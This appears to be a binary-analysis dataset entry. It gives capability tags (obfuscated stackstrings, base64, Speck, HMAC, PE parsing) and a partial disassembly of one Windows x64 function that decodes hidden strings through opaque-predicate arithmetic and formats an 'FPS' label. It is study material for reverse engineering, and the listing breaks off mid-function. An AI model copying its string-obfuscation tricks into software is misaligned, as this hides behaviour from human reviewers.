Function at 0x140073f20
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Encrypt data using speck
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x898]
sub rsp, 0x970
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm10
movaps xmmword [rax - 0x78], xmm11
movaps xmmword [rax - 0x88], xmm12
movaps xmmword [rax - 0x98], xmm13
mov rax, qword [0x1401fdbc0]
xor rax, rsp
mov qword [rbp + 0x7f8], rax
call fcn.14000ed70
cvttss2si r8d, dword [rax + 0xd0]
lea r10, [rbp + 0x7f5]
test r8d, r8d
jns 0x140073fe0
neg r8d
nop dword [rax + rax]
dec r10
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r10], r8b
mov r8d, edx
test edx, edx
jne 0x140073fa0
dec r10
mov byte [r10], 0x2d
jmp 0x14007400a
dec r10
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r10], r8b
mov r8d, edx
test edx, edx
jne 0x140073fe0
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x7f5]
mov rdx, r10
lea rcx, [rbp + 0x1e0]
call fcn.140040950
nop
mov byte [rbp + 0x4e0], recvfrom
mov byte [rbp + 0x4e1], 0x3b
mov byte [rbp + 0x4e2], 0x2f
mov byte [rbp + 0x4e3], 0x28
mov byte [rbp + 0x4e4], 0x2e
mov byte [rbp + 0x4e5], 0x51
mov byte [rbp + 0x4e6], 0
mov byte [rbp + 0x4e7], 0x21
mov byte [rbp + 0x4e8], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x4e9], 0x27
mov byte [rbp + 0x4ea], gethostname
mov byte [rbp + 0x4eb], 0x27
mov byte [rbp + 0x4ec], 0x31
mov byte [rbp + 0x4ed], 0x49
mov byte [rbp + 0x4ee], 0x2c
mov byte [rbp + 0x4ef], 0x47
mov byte [rbp + 0x4f0], 0xa6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4f1], xmm0
mov dword [rbp + 0x501], eax
movabs rsi, 0xdf324423132d6dff
movabs r13, 0x45eb835962bfdcc9
movabs r14, 0xbc51c65519bd1c7d
movabs r15, 0xf6e051889e2ce123
movabs r12, 0x6b094ad5d8ad2791
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop word [rax + rax]
xor r9d, r9d
cmp r9, 0x25
jae 0x140074d94
movzx r10d, byte [rbp + r9 + 0x4e0]
movzx r11d, r10b
nop word [rax + rax]
cmp rbx, r9
ja 0x140074d8b
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007414c
lea rcx, [r9 + r13]
mov rax, r10
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r10
add rdi, rcx
sub dil, 0x7f
jmp 0x140074186
je 0x140074d12
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140074cac
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140074c54
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140074c33
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140074c0f
movzx r11d, r10b
nop word [rax + rax]
cmp r8, r9
ja 0x140074d82
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400741ba
lea rcx, [r9 + r14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x6b
jmp 0x1400741f0
je 0x140074bbf
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140074b9b
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140074b7a
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140074b5f
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r9
jbe 0x140074810
nop dword [rax]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400747ee
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400747bd
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14007478f
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140074767
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007473f
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140074717
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400746ef
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400746c7
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14007468d
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140074200
lea rbx, [r8 + 0xa]
lea r8, [rbx + 2]
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140074d65
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140074d48
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x1400743ed
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400743d2
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x1400743b7
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140074638
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400745e6
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400745a0
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140074571
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140074200
lea rbx, [r8 + 2]
lea r8, [rbx + 0x20]
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14007453b
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140074517
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400744f3
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1400744cf
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x1400744ab
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140074487
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14007445d
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140074430
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140074408
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140074200
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 4]
jmp 0x140074200
lea rcx, [r9 + r15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0xb
jmp 0x1400741f0
lea rcx, [r9 + r12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 9
jmp 0x140074190
lea rcx, [r9 + rsi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 7
jmp 0x140074120
movabs rcx, 0xe28e32a8cde8e3e8
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x58
movzx esi, r9b
jmp 0x140074bd8
movabs rcx, 0x56b72bf608692a56
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5a
inc r8
dec r9
inc r9
jmp 0x140074103
movabs rcx, 0xcae0254342e970c4
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5c
dec r9
inc r9
jmp 0x140074103
movabs rcx, 0x3f091e907d69b732
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5e
jmp 0x140074c6e
movabs rcx, 0xb33217ddb7e9fda0
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x60
jmp 0x140074c90
movabs rcx, 0x275b112af26a440e
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x62
jmp 0x140074c93
movabs rcx, 0x9b840a782cea8a7c
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x64
jmp 0x140074b32
movabs rcx, 0xfad03c5676ad0ea
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x66
jmp 0x140074ccb
movabs rcx, 0x83d5fd12a1eb1758
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x68
movzx eax, byte [rbp + r9 + 0x4e0]
add rax, r8
add r9, rax
inc r9
jmp 0x140074103
movabs rcx, 0x263c6c53b42bc76b
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x13
mov byte [rbp + r9 + 0x4e0], dil
inc r9
jmp 0x140074103
movabs rcx, 0x9a6565a0eeac0dd9
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x11
cmp r8, 3
jb 0x140074590
movzx esi, r9b
lea ecx, [rsi + 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x34]
jmp 0x140074bd8
movabs rcx, 0xe8e5eee292c5447
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0xf
cmp rbx, 0x10
jae 0x140074afd
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x1400749f2
lea edx, [r9 + 0x62]
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400745bf
movabs rcx, 0x82b7583b63ac9ab5
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0xd
lea rax, [r8 + rbx]
cmp rax, 1
je 0x140074b1b
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x1400748f2
lea ecx, [r9 - 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x43
jmp 0x140074605
movabs rcx, 0x69eaa5fe9a6eaaee
add rcx, r9
movzx eax, cl
and al, r10b
mov edx, 0x3f
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r9 + 0x4e0]
add rax, r8
add r9, rax
inc r9
jmp 0x140074103
movabs rcx, 0xde139f4bd4eef15c
add rcx, r9
movzx eax, cl
and al, r10b
mov edx, 0x3e
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x140074ccb
movabs rcx, 0x523c98990f6f37ca
add rcx, r9
movzx eax, cl
and al, r10b
mov edx, 0x3d
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x140074b32
movabs rcx, 0xc66591e649ef7e38
add rcx, r9
movzx eax, cl
and al, r10b
mov edx, 0x3c
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x140074c93
movabs rcx, 0x3a8e8b33846fc4a6
add rcx, r9
movzx eax, cl
and al, r10b
mov edx, 0x3b
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x140074c90
movabs rcx, 0xaeb78480bef00b14
add rcx, r9
movzx eax, cl
and al, r10b
mov edx, 0x3a
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
jmp 0x140074c6e
movabs rcx, 0x22e07dcdf9705182
add rcx, r9
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_gethostname
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
dec r9
inc r9
jmp 0x140074103
movabs rcx, 0x9709771b33f097f0
add rcx, r9
movzx eax, cl
and al, r10b
mov edx, gethostname
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
inc r8
dec r9
inc r9
jmp 0x140074103
movzx esi, r9b
lea edx, [rsi + 0x5e]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140074bd8
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140074834
lea ecx, [r9 - 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7f
jmp 0x140074657
jne 0x140074867
lea edx, [r9 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r9 + 0x4e0]
add rax, r8
add r9, rax
inc r9
jmp 0x140074103
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007488f
lea edx, [r9 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140074c6e
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400748bd
lea edx, [r9 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r9
inc r9
jmp 0x140074103
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140074657
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r9
inc r9
jmp 0x140074103
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140074919
movzx esi, r9b
lea ecx, [rsi + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x41
jmp 0x140074bd8
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140074946
lea ecx, [r9 + 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3f
inc r8
dec r9
inc r9
jmp 0x140074103
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140074970
lea ecx, [r9 - 0x65]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3d
dec r9
inc r9
jmp 0x140074103
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140074994
lea ecx, [r9 + 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x37
jmp 0x140074c93
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400749b8
lea ecx, [r9 - 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x35
jmp 0x140074b32
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140074605
lea ecx, [r9 + 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x31
movzx eax, byte [rbp + r9 + 0x4e0]
add rax, r8
add r9, rax
inc r9
jmp 0x140074103
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140074a2c
lea edx, [r9 - 0xc]
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r9 + 0x4e0]
add rax, r8
add r9, rax
inc r9
jmp 0x140074103
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140074a54
lea edx, [r9 - 0x7a]
movzx eax, dl
and al, r10b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140074ccb
cmp rbx, rcx
jne 0x140074a78
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140074b32
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140074aa0
lea edx, [r9 - 0x32]
movzx eax, dl
and al, r10b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140074c6e
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140074ace
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r9
inc r9
jmp 0x140074103
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x1400745bf
movzx esi, r9b
lea edx, [rsi - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140074bd8
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x34
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140074c6e
lea edx, [r9 + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
lea ecx, [r9 + 3]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x15
add cl, r11b
movzx eax, cl
mov byte [rbp + r9 + 0x4e0], al
inc r8
add rax, r8
sub r9, rax
jmp 0x140074ccb
lea ecx, [r9 + 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5b
jmp 0x140074ccb
lea ecx, [r9 + 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x65
dec r9
inc r9
jmp 0x140074103
lea ecx, [r9 - 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x67
inc r8
dec r9
inc r9
jmp 0x140074103
movzx esi, r9b
lea ecx, [rsi + 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x69
sub sil, 0x21
movzx eax, sil
and al, r11b
add al, al
sub sil, al
sub sil, 0x19
add sil, r11b
mov byte [rbp + r9 + 0x4e0], sil
movabs rsi, 0xdf324423132d6dff
inc r8
dec r9
inc r9
jmp 0x140074103
lea ecx, [r9 + 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6f
inc r8
dec r9
inc r9
jmp 0x140074103
lea ecx, [r9 - 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x71
dec r9
inc r9
jmp 0x140074103
lea ecx, [r9 + 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x73
movzx r11d, r10b
lea edx, [r9 + 0x71]
movzx eax, dl
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x17
add cl, dl
add cl, r11b
mov byte [rbp + r9 + 0x4e0], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
inc r9
jmp 0x140074103
movabs rcx, 0x5d9990beedbf4fed
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7b
lea edx, [r9 - 0x34]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + r9 + 0x4e0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
movzx eax, byte [rbp + r9 + 0x4e0]
add rax, r8
add r9, rax
inc r9
jmp 0x140074103
movabs rcx, 0xd1c28a0c283f965b
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7d
movzx eax, byte [rbp + r9 + 0x4e0]
add rax, r8
add r9, rax
inc r9
jmp 0x140074103
add r9b, 0x6d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 5
jmp 0x140074100
sub r9b, 0x25
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 3
jmp 0x1400740e6
lea rdi, [rbp + 0x1685bec]
jmp 0x140074d9b
lea rdi, [rbp + 0x16838b5]
jmp 0x140074d9b
lea rdi, [rbp + 0x4e0]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140074da2
mov r8, qword [rbp + 0x1f0]
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
sub rax, r8
cmp rbx, rax
ja 0x140074e49
lea rax, [r8 + rbx]
mov qword [rbp + 0x1f0], rax
lea rsi, [rbp + 0x1e0]
cmp rcx, 0xf
cmova rsi, qword [rbp + 0x1e0]
lea rax, [rbx + rdi]
cmp rax, rsi
jbe 0x140074e0a
lea rax, [rsi + r8]
cmp rdi, rax
ja 0x140074e0a
cmp rsi, rdi
ja 0x140074e02
xor r14d, r14d
jmp 0x140074e0d
mov r14, rsi
sub r14, rdi
jmp 0x140074e0d
mov r14, rbx
inc r8
lea rcx, [rsi + rbx]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r14
mov rdx, rdi
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, rbx
sub r8, r14
lea rdx, [r14 + rbx]
add rdx, rdi
lea rcx, [rsi + r14]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x1e0]
jmp 0x140074e6b
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdi
xor r9d, r9d
movzx r8d, byte [rsp + 0x50]
mov rdx, rbx
lea rcx, [rbp + 0x1e0]
call fcn.140042440
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x150], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x140], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x150], xmm1
xor r14d, r14d
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r14b
mov rcx, qword [rbp + 0x150]
mov rdx, qword [rbp + 0x158]
mov rax, rdx
sub rax, rcx
cmp rax, 4
jb 0x140074ef4
lea rax, [rcx + 4]
mov qword [rbp + 0x150], rax
lea rax, [rbp + 0x140]
cmp rdx, 0xf
cmova rax, qword [rbp + 0x140]
mov dword [rax + rcx], 0x53504620
mov byte [rax + rcx + 4], r14b
lea rax, [rbp + 0x140]
jmp 0x140074f1b
mov qword [rsp + 0x20], 4
lea r9, str._FPS
movzx r8d, byte [rsp + 0x50]
mov edx, 4
lea rcx, [rbp + 0x140]
call fcn.140041f40
xorps xmm0, xmm0
movups xmmword [rbp + 0x7a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x7b0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x7a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x7b0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x140074f98
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140074f93
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140074f93
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401427c8
movdqa xmm0, xmmword [0x14014f0d0]
movdqu xmmword [rbp + 0x150], xmm0
mov byte [rbp + 0x140], 0
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0xf
jbe 0x140074ffb
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140074fee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140074fee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401427c8
movdqa xmm0, xmmword [0x14014f0d0]
movdqu xmmword [rbp + 0x1f0], xmm0
mov byte [rbp + 0x1e0], 0
call fcn.14000e6f0
mov rsi, rax
lea rdi, [rbp + 0x7a0]
cmp qword [rbp + 0x7b8], 0xf
cmova rdi, qword [rbp + 0x7a0]
movdqa xmm0, xmmword [0x14014a450]
movups xmmword [rbp + 0xd0], xmm0
lea rcx, [rbp + 0xd0]
call fcn.14000bfc0
mov ebx, eax
movss xmm13, dword [0x14014a3bc]
mov dword [rsp + 0x5c], 0x41200000
mov dword [rsp + 0x60], 0x41200000
call fcn.14000e9e0
mov qword [rsp + 0x40], r14
xorps xmm10, xmm10
movss dword [rsp + 0x38], xmm10
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
lea r9, [rsp + 0x5c]
movss xmm6, dword [0x14014e2e8]
movaps xmm2, xmm6
mov rdx, rax
mov rcx, rsi
call fcn.140022580
call fcn.14000e6f0
mov r14, rax
mov byte [rbp + 0x510], 0xa1
mov byte [rbp + 0x511], 0x88
mov byte [rbp + 0x512], 0x80
mov byte [rbp + 0x513], 0x86
mov byte [rbp + 0x514], 0x50
mov byte [rbp + 0x515], 0xbe
mov byte [rbp + 0x516], __WSAFDIsSet
mov byte [rbp + 0x517], 0x8e
mov byte [rbp + 0x518], 0x54
mov byte [rbp + 0x519], 0x58
mov byte [rbp + 0x51a], 0xb8
mov byte [rbp + 0x51b], 0x5b
mov byte [rbp + 0x51c], 0xb1
mov byte [rbp + 0x51d], 0x8b
mov byte [rbp + 0x51e], 0x89
mov byte [rbp + 0x51f], 0x9a
mov byte [rbp + 0x520], 0x8a
mov byte [rbp + 0x521], 0x89
mov byte [rbp + 0x522], 2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x523], xmm0
mov dword [rbp + 0x533], eax
mov word [rbp + 0x537], ax
mov byte [rbp + 0x539], al
movabs r15, 0xc879a3a5ae86cc2e
movabs r13, 0x7b537987c5af9542
movabs r12, 0x596ceaf10b94648a
movzx edi, byte [rsp + 0x50]
nop dword [rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x2a
jae 0x140075d28
movzx r10d, byte [rbp + r11 + 0x510]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140075d1f
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400751cc
lea rcx, [r11 + r15]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x42
jmp 0x1400751f9
je 0x140075caa
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140075c19
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140075bc1
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140075b9c
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x140075d16
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007522a
lea ecx, [r9 - 0x3a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6a
jmp 0x140075270
je 0x140075b52
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140075b2c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140075b11
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140075af1
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140075ac2
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400757e6
nop dword [rax]
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400757cb
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400757a2
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14007577f
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140075760
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140075743
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140075723
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140075708
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400756e8
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x1400756b9
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140075280
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 0x40]
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140075cf6
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140075cd9
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140075474
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140075459
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x14007543a
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140075677
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14007562b
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x1400755ec
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x1400755c1
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140075280
lea rbx, [r8 + 0x40]
lea r8, [rbx + 4]
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140075592
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140075572
lea rax, [r8 + 0x2a]
cmp rbx, rax
